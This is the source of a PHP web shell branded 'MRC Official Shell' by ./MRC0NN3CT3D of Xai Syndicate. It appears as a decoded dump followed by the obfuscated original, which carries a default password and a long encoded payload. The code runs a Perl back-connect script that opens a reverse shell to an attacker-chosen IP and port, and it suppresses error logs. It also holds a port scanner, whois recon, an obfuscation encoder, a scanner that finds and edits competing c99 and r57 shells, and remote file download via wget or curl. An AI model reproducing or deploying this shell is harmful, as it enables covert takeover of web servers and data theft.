$ipbc = $_POST['ip_bc'];
$port = $_POST['port_bc'];
$out = exe("perl /tmp/bc.pl $ipbc $port 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre>".$out."
".exe("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
}
//WHOIS
if($_GET['mrc'] == 'whois') {
@set_time_limit(0);
@error_reporting(0);
function sws_domain_info($site)
{
$getip = @file_get_contents("http://networktools.nl/whois/$site");
flush();
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_net_info($site)
{
$getip = @file_get_contents("http://networktools.nl/asinfo/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_site_ser($site)
{
$getip = @file_get_contents("http://networktools.nl/reverseip/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_sup_dom($site)
{
$getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
$ip = @findit($getip,'<strong>Nameservers found:</strong>','<script type="text/javascript">');
return $ip;
flush();
}
function sws_port_scan($ip)
{
$list_post = array('80','21','22','2082','25','53','110','443','143');
foreach ($list_post as $o_port)
{
$connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
if($connect)
{
echo ' $ip : $o_port ??? <u style="color: blue">Open</u> <br /><br />';
flush();
}
}
}
function findit($mytext,$starttag,$endtag) {
$posLeft = @stripos($mytext,$starttag)+strlen($starttag);
$posRight = @stripos($mytext,$endtag,$posLeft+1);
return @substr($mytext,$posLeft,$posRight-$posLeft);
flush();
}
echo '<br><br><center>';
echo '
<br />
<div class="sc"><form method="post"><table>
<tr><th colspan="5" style="border: 2px #F1515C solid; background-color:transparent; color:white;">Whois Site</th></tr>
<tr><td>Site to scan </td><td>:</td><td><input type="text" name="site" size="50" style="color:white;" class="tamvan" value="site.com" />   <input class="awesome" type="submit" style="color:white;background-color:transparent" name="scan" value="Scan !" /></td></tr>
</table></form></div>';
if(isset($_POST['scan']))
{
$site = @htmlentities($_POST['site']);
if (empty($site)){die('<br /><br /> Not add IP .. !');}
$ip_port = @gethostbyname($site);
echo "
<br /><div class='sc2'>Scanning [ $site ip $ip_port ] ... </div>
<div class='tit'> <br /><br />|-------------- Port Server ------------------| <br /></div>
<div class='ru'> <br /><br /><pre>
";
echo "'.sws_port_scan($ip_port).' </pre></div> ";
flush();
echo '<div class="tit"><br /><br />|-------------- Domain Info ------------------| <br /> </div>
<div class="ru">
<pre>'.sws_domain_info($site).'</pre></div>';
flush();
echo '
<div class="tit"> <br /><br />|-------------- Network Info ------------------| <br /></div>
<div class="ru">
<pre>'.sws_net_info($site).'</pre> </div>';
flush();
echo '<div class="tit"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>
<div class="ru">
<pre>'.sws_sup_dom($site).'</pre> </div>';
flush();
echo '<div class="tit"> <br /><br />|-------------- Site Server ------------------| <br /></div>
<div class="ru">
<pre>'.sws_site_ser($site).'</pre> </div>
<div class="tit"> <br /><br />|-------------- END ------------------| <br /></div>';
flush();
}
echo '</center>';
} elseif($_GET['mrc'] == 'whois') {
?>
<body >
<center>
<br>
<form method="post"><br>
<textarea class='tamvan' cols=30 rows=5 name="mbutt" style="background:transparent;color:aqua;"></textarea><br><br>
<select class='tamvan' size="1" name="ope" style="background:red;color:aqua;">
<option style='background:transparent;color:aqua;'><center>[#] Encryption [#]</option>
<option value="urlencode" style='background:transparent;color:aqua;'>url</option>
<option value="base64" style='background:transparent;color:aqua;'>Base64</option>
<option value="ur" style='background:transparent;color:aqua;'>convert_uu</option>
<option value="json" style='background:transparent;color:aqua;'>json</option>
<option value="gzinflates" style='background:transparent;color:aqua;'>gzinflate - base64</option>
<option value="str2" style='background:transparent;color:aqua;'>str_rot13 - base64</option>
<option value="gzinflate" style='background:transparent;color:aqua;'>str_rot13 - gzinflate - base64</option>
<option value="gzinflater" style='background:transparent;color:aqua;'>gzinflate - str_rot13 - base64</option>
<option value="gzinflatex" style='background:transparent;color:aqua;'>gzinflate - str_rot13 - gzinflate - base64</option>
<option value="gzinflatew" style='background:transparent;color:aqua;'>str_rot13 - convert_uu - url - gzinflate - str_rot13 - base64 - convert_uu - gzinflate - url - str_rot13 - gzinflate - base64</option>
<option value="str" style='background:transparent;color:aqua;'>str_rot13 - gzinflate - str_rot13 - base64</option>
<option value="url" style='background:transparent;color:aqua;'>base64 - gzinflate - str_rot13 - convert_uu - gzinflate - base64</option>
<option value="hexencode" style='background:transparent;color:aqua;'>Hex Encode/Decode</option>
<option value="md5" style='background:transparent;color:aqua;'><center>MD5 Hash</option>
<option value="sha1" style='background:transparent;color:aqua;'>SHA1 Hash</option>
<option value="str_rot13" style='background:transparent;color:aqua;'>ROT13 Hash</option>
<option value="strlen" style='background:transparent;color:aqua;'>strlen</option>
<option value="xxx" style='background:transparent;color:aqua;'>unescape</option>
<option value="bbb" style='background:transparent;color:aqua;'>charAt</option>
<option value="aaa" style='background:transparent;color:aqua;'>chr - bin2hex - substr</option>
<option value="www" style='background:transparent;color:aqua;'>chr</option>
<option value="sss" style='background:transparent;color:aqua;'>htmlspecialchars</option>
<option value="eee" style='background:transparent;color:aqua;'>escape</option></select><br><input class='awesome' type='submit' name='submit' value='Encode' style="background:transparent;color:aqua;">
<input class='awesome' type='submit' name='crack' value='Decode' style="background:transparent;color:aqua;"><br>
</select>
</form>
<?php
$submit = $_POST['submit'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $cinta=base64_encode($text);
break;case 'str' : $cinta=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case 'json' : $cinta=json_encode(utf8_encode($text));
break;case 'gzinflate' : $cinta=base64_encode(gzdeflate(str_rot13($text)));
break;case 'gzinflater' : $cinta=base64_encode(str_rot13(gzdeflate($text)));
break;case 'gzinflatex' : $cinta=base64_encode(gzdeflate(str_rot13(gzdeflate($text))));
break;case 'gzinflatew' : $cinta=base64_encode(gzdeflate(str_rot13(rawurlencode(gzdeflate(convert_uuencode(base64_encode(str_rot13(gzdeflate(convert_uuencode(rawurldecode(str_rot13($text))))))))))));
break;case 'gzinflates' : $cinta=base64_encode(gzdeflate($text));
break;case 'str2' : $cinta=base64_encode(str_rot13($text));
break;case 'urlencode' : $cinta=rawurlencode($text);
break;case 'hexencode' : $cinta=bin2hex($text);
break;case 'md5' : $cinta=md5($text);
break;case 'ur' : $cinta=convert_uuencode($text);
break;case 'str_rot13' : $cinta=str_rot13($text);
break;case 'sha1' : $cinta=sha1($text);
break;case 'strlen' : $cinta=strlen($text);
break;case 'xxx' : $cinta=strlen(bin2hex($text));
break;case 'bbb' : $cinta=htmlentities(utf8_decode($text));
break;case 'aaa' : $cinta=chr(bin2hex(substr($text)));
break;case 'www' : $cinta=chr($text);
break;case 'sss' : $cinta=htmlspecialchars($text);
break;case 'eee' : $cinta=addslashes($text);
break;case 'url' : $cinta=base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
break;default:break;}}
$submit = $_POST['crack'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $cinta=base64_decode($text);
break;case 'str' : $cinta=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;case 'json' : $cinta=utf8_dencode(json_dencode($text));
break;case 'gzinflate' : $cinta=str_rot13(gzinflate(base64_decode($text)));
break;case 'gzinflater' : $cinta=gzinflate(str_rot13(base64_decode($text)));
break;case 'gzinflatex' : $cinta=gzinflate(str_rot13(gzinflate(base64_decode($text))));
break;case 'gzinflatew' : $cinta=str_rot13(rawurldecode(convert_uudecode(gzinflate(str_rot13(base64_decode(convert_uudecode(gzinflate(rawurldecode(str_rot13(gzinflate(base64_decode($text))))))))))));
break;case 'gzinflates' : $cinta=gzinflate(base64_decode($text));
break;case 'str2' : $cinta=str_rot13(base64_decode($text));
break;case 'urlencode' : $cinta=rawurldecode($text);
break;case 'hexencode' : $cinta=quoted_printable_decode($text);
break;case 'ur' : $cinta=convert_uudecode($text);
break;case 'url' : $cinta=base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($text)))))));
break;default:break;}}
$html = htmlentities(stripslashes($cinta));
echo "<from><center><h3><font size=4 face=chiller color=aqua>./MRC0NN3CT3D</h3></center><textarea cols=70 rows=20 style='onfocus();font-weight:bold;color:red;background-image: transparent;opacity:0.40;background-size:100%;background-repeat: no-repeat;' class='tamvan' readonly>".$html."</textarea><BR/><BR/></center></from>";
?>
<footer style="text-shadow: 0 0 6px #FF0000, 0 0 5px #FF0000, 0 0 5px #FF0000; position:fixed; left:1px; right:0px; top:0px; border-bottom: 1px solid red ;">
<center><b><font face="Quicksand" color="black" size="3" style="text-shadow: 0 0 5px #2f2b2b, 0 0 10px #2f2b2b, 0 0 20px #2f2b2b, 0 0 45px #2f2b2b, 0 0 40px #2f2b2b;">
<font face="Agency FB" color="red" size="4" style="text-shadow: 0 0 6px black, 0 0 5px black, 0 0 5px black;"></footer>
<?php
}
//SHELL SCANNER
if($_GET['mrc'] == 'shellscanner') {
?>
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
window.open(theURL,winName,features)
}
//-->
</script>
<style type="text/css">
<!--
.single{
border: 1px solid #F1515C;
padding: 5px;
}
.me {
font-size:11px; color:#F1515C;
border: 0px;
padding: 5px;
}
.isi{
padding: 2px;
border:1px solid #F1515C;
color: #F1515C;
background-color: dimgray;
font-size: 10px;
font-weight: bold;
}
-->
</style>
<style type="text/css">
#patch {position:absolute; height:1; width:1px; top:0; left:0;}
</style>
</head>
<body>
<center>
<center><font color="#F1515C" size="14" face="Comic Sans MS">Backdoor Scanner</font></center><br>
<?php
if(isset($_REQUEST['edit']) && $_REQUEST['edit']=='file'){
if(isset($_POST['yes'])){
$filename = $_GET['file'];
echo "<br><br><br><font color=#F1515C size=3><b><center>".$filename." deleted...</b></font><br><br><br><br><br><br><br>";
unlink($filename);
echo "<META HTTP-EQUIV=Refresh CONTENT=\"2; URL=javascript:window.close();\">";
}else{
if($_POST['update']) {
$filename = $_POST['file'];
if(is_writable($filename)) {
$handle = fopen($filename, "w+");
$isi=$_POST['content'];
fwrite($handle, stripslashes($isi));
fclose($handle);
$stat= "<center><strong>edited successfully<br>";
} else {
$stat= "<center><font color=#F1515C><strong>Error! File may not be writable.</font></center>";
}
}
if($_POST['close']) {
echo "<META HTTP-EQUIV=Refresh CONTENT=\"0; URL=javascript:window.close();\">";
}
$filename = $_GET['file'];
if (file_exists($filename)){
$vuln = $_GET['bug'];
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
?>
<center>
<table>
<tr><td align="left" class="me"><strong><?=$filename?> >> Contains : <?=$vuln?></strong></td></tr>
<tr><td class="me">
<form method="post" action="">
<input type="hidden" name="file" value="<?=$filename?>">
<textarea name="content" cols="80" rows="15"><?=htmlspecialchars($contents)?></textarea><br>
</td></tr>
<tr><td align="center" class="me">
<?php
if($_POST['delete']) {
echo "Are you sure to delete ".$filename." ?";
?>
<tr><td align="center" class="me">
<input type="submit" name="yes" value=" Y E S ">
<input type="submit" name="no" value=" N O ">
</td></tr>
<?php
}else{
echo $stat;
?>
</td></tr>
<tr><td align="right" class="me">
<input type="submit" name="close" value=" C l o s e ">
<input type="submit" name="delete" value=" D e l e t e ">
<input type="submit" name="update" value=" S a v e ">
</td></tr>
<?php
}
fclose($handle);
?>
</table>
</form>
<?php
}else{
echo "<br><br><br><font color=#F1515C size=3><b><center>".$filename." not exist...</b></font><br><br><br><br><br><br><br>";
echo "<META HTTP-EQUIV=Refresh CONTENT=\"4; URL=javascript:window.close();\">";
}
?>
</center>
<?php
}
}elseif(isset($_POST['Submit'])){
$ceks = array('base64_decode','system','passthru','popen','exec','shell_exec','eval','move_uploaded_file');
foreach($ceks as $ceker){
if($_POST[$ceker]<>""){
$six.=$_POST[$ceker].".";
}
}
$cek = explode('.', $six);
function ListFiles($dir) {
if($dh = opendir($dir)) {
$files = Array();
$inner_files = Array();
while($file = readdir($dh)) {
if($file != "." && $file != "..") {
if(is_dir($dir . "/" . $file)) {
$inner_files = ListFiles($dir . "/" . $file);
if(is_array($inner_files)) $files = array_merge($files, $inner_files);
} else {
array_push($files, $dir . "/" . $file);
}
}
}
closedir($dh);
return $files;
}
}
?>
<center>
<table border="0" width="90%" cellpadding="5">
<tr>
<td align="right" width="30"><b>No</b></td>
<td align="center" width="105"><b> T y p e </b></td>
<td align="center"><b> F i l e L o c a t i o n </b></td>
<td align="center" width="150"><b> L a s t E d i t </b></td>
<td align="right" width="80"><b>F i l e S i z e</b></td>
</tr><br>
<?php
$target=$_SERVER['DOCUMENT_ROOT'];
foreach (ListFiles($target) as $key=>$file){
$nFile = substr($file, -4, 4);
if($nFile == ".php"){
if($file==$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF']){
}else{
$ops = @file_get_contents($file);
$op=strtolower($ops);
$arr = array('c99_buff_prepare' => 'c 9 9',
'abcr57' => 'r 5 7');
$sis=0;
if($op)
$size=filesize($file);
$last=date("M-d-Y H:i", $last_modified);
foreach($arr as $key => $val) {
if(@preg_match("/$key/", $op)) {
$sis=1;
$i++;
?>
<tr style ="background-color: Your background Color;" onmouseover="mover(this)" onmouseout="mout(this)">
<td align="right"><font color="red"><blink><?=$i?></blink></font></td>
<td align="center"><font color="red"><blink><?=$val?></blink></font></td>
<td align="left"><blink>
<a href="#" class="abunai" onclick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$val?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
</blink></td>
<td align="center"><font color="red"><blink><?=$last?> GMT+9</blink></font></td>
<td align="right"><font color="red"><blink><?=$size?> byte</blink></font></td>
<script language="javascript">
var bgcolor = "transparent";
var change_color = "#444444"
function mover(aa) {
aa.style.backgroundColor = change_color;
}
function mout(aa) {
aa.style.backgroundColor = bgcolor;
}
</script>
</tr>
<?php
}
}
if($sis<>"1"){
if((@preg_match("/system\((.*?)\)/", $op))&&(@preg_match("/<pre>/", $op))&&(@preg_match("/empty\((.*?)\)/", $op))) {
$sis="2";
$i++;
$val="hidden shell";
?>
<tr style ="background-color: Your background Color;" onmouseover="mover(this)" onmouseout="mout(this)">
<td align="right"><font color="blue"><?=$i?></font></td>
<td align="center"><font color="blue"><?=$val?></font></td>
<td align="left">
<a href="#" class="xxx" onclick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$val?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
</td>
<td align="center"><font color="blue"><?=$last?> GMT+9</font></td>
<td align="right"><font color="blue"><?=$size?> byte</font></td>
<script language="javascript">
var bgcolor = "transparent";
var change_color = "#444444"
function mover(aa) {
aa.style.backgroundColor = change_color;
}
function mout(aa) {
aa.style.backgroundColor = bgcolor;
}
</script>
</tr>
<?php
}
}
if($sis=="0"){
foreach($cek as $bugs) {
if ($bugs<>""){
if(@preg_match("/$bugs\((.*?)\)/", $op)) {
$i++;
?>
<tr style ="background-color: Your background Color;" onmouseover="mover(this)" onmouseout="mout(this)">
<td align="right"><?=$i?></td>
<td align="center"><?=$bugs?></td>
<td align="left">
<a href="#" onclick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$bugs?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
</td>
<td align="center"><?=$last?> GMT+9</td>
<td align="right"><?=$size?> byte</td>
<script language="javascript">
var bgcolor = "transparent";
var change_color = "#444444"
function mover(aa) {
aa.style.backgroundColor = change_color;
}
function mout(aa) {
aa.style.backgroundColor = bgcolor;
}
</script>
</tr>
<?php
}
}
}
}
if($_POST['textV']<>""){
$text=$_POST['textV'];
if(@preg_match("/$text/", $op)) {
$i++;
?>
<tr style ="background-color: Your background Color;" onmouseover="mover(this)" onmouseout="mout(this)">
<td align="right"><?=$i?></td>
<td align="center"><?=$text?></td>
<td align="left">
<a href="#" onclick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$text?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
</td>
<td align="center"><?=$last?> GMT+9</td>
<td align="right"><?=$size?> byte</td>
<script language="javascript">
var bgcolor = "transparent";
var change_color = "#444444"
function mover(aa) {
aa.style.backgroundColor = change_color;
}
function mout(aa) {
aa.style.backgroundColor = bgcolor;
}
</script>
</tr>
<?php
}
}
}
}
}
if($i==0){
foreach($cek as $bugs) {
if ($bugs<>""){
$x++;
?>
<tr style ="background-color: Your background Color;" onmouseover="mover(this)" onmouseout="mout(this)">
<td align="right"><?=$x?></td>
<td align="center"><?=$bugs?></td>
<td align="center"> not exist </td>
<td align="center"> no record </td>
<td align="right"> - byte </td>
</tr>
<?php
}
}
}
?>
</table>
<?php
}else{
$find = array('default','base64_decode','system','passthru','popen','exec','shell_exec','eval','move_uploaded_file');
?>
<form id="fCheck" name="fCheck" method="post" action="" autocomplete="off">
<center>
<table class="single" width="400" border="1" -webkit-box-shadow: 0px 0px 15px #F1515C; cellpadding="10">
<tr><td class="me"><center>
<table class="me" width="200">
<tr><td class="me">
<script language="javascript">
function cekKlik(){
if (!document.fCheck.cekV.checked)
document.fCheck.textV.disabled=true;
else
document.fCheck.textV.disabled=false;
if(document.fCheck.cekV.checked){
master = master + 1;
}else{
if(master > 0 ){
master = master - 1;
}else{
master = master;
}
}
if(master != 0){
document.fCheck.Submit.disabled=false;
}else{
document.fCheck.Submit.disabled=true;
}
}
</script>
<?php
//dari sini
foreach($find as $bug) {
?>
<script language="javascript">
var master = 0;
function checkValue<?=$bug?>(){
if(document.fCheck.<?=$bug?>.checked){
master = master + 1;
}else{
if(master > 0 ){
master = master - 1;
}else{
master = master;
}
}
if(master != 0){
document.fCheck.Submit.disabled=false;
}else{
document.fCheck.Submit.disabled=true;
}
}
</script>
<input onclick="checkValue<?=$bug?>();" name="<?=$bug?>" type="checkbox" id="<?=$bug?>" value="<?=$bug?>" /> <?=$bug?><br>
<?php
}
?>
<input name="cekV" type="checkbox" onClick="cekKlik();" id="cekV" value="cekV">
<input class="isi" disabled="disabled" name="textV" value="other key word" onFocus="this.select()" type="text" id="textV">
<br><br>
<input type="hidden" name="asal" value="abcd">
<input disabled="disabled" type="submit" name="Submit" value=" Start " />
</td></tr>
</table>
</td></tr></table>
</form>
<?php
}
?>
<br><br><hr width="300">
<?php
}
echo '<tr><td><center>';
//UPLOAD
if($_GET['mrc'] == 'upload') {
echo "<center>";
if(isset($_POST['uploadcomp'])){
if(is_uploaded_file($_FILES['file']['tmp_name'])){
$path = magicboom($_POST['path']);
$fname = $_FILES['file']['name'];
$tmp_name = $_FILES['file']['tmp_name'];
$pindah = $path.$fname;
$stat = @move_uploaded_file($tmp_name,$pindah);
if ($stat) {
$msg = "File uploaded to $pindah";
}
else $msg = "Failed to upload $fname";
}
else $msg = "Failed to upload $fname";
}
elseif(isset($_POST['uploadurl'])){
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$path = magicboom($_POST['path']);
$namafile = download($pilihan,$wurl);
$pindah = $path.$namafile;
if(is_file($pindah)) {
$msg = "file uploaded to $pindah";
}
else $msg = "failed to upload $namafile";
}
?>
<form method='post' enctype='multipart/form-data'>
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload From Computer</th></tr>
<tr><td colspan="2"><p style="text-align:center;"><input style="color:#F1515C;" type="file" name="file" /><br><br><input type="submit" name="uploadcomp" class="awesome" value="Upload" style="width:246px;"></p></td>
<tr><td colspan="2"><input type="text" class="tamvan" style="width:97%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
</tr>
</table></form>
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload From Url</th></tr>
<tr><td colspan="2"><form method='post'>
<table><tr><td>Url</td><td><input class="tamvan" type="text" name="wurl" style="width:250px;" placeholder="Paste File Url Here"></td></tr>
<tr><td colspan="2"><input type="text" class="tamvan" style="width:97%;" name="path" value="<?php echo $pwd; ?>" /></td></tr><br>
<tr><td><select size="1" class="tamvan" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="uploadurl" class="awesome" value="Upload" style="width:246px;"></td></tr></form></table></td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php }
echo '<br><center><br></> Copyright © '.date('Y').' <font color="#F1515C">M1ST3R C0NN3CT3D</font> - Xai Syndicate<br>
</body>
</html>';
Did this file decode correctly?
Original Code
<?php
/*
###########################################
## MRC Official Shell ##
## Code by ./MRC0NN3CT3D ##
## 2017 - Indonesian ##
## Greetz : Xai Syndicate & IndoXploit ##
## default pass : tng199x ##
## change pass $auth_pass in this below ##
## with Password Hasher ##
###########################################
*/
error_reporting(0);
@set_magic_quotes_runtime(0);
@clearstatcache();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
$auth_pass = "5f3f4681121b460e3304a1887f42f1c3";
$mrc_official ="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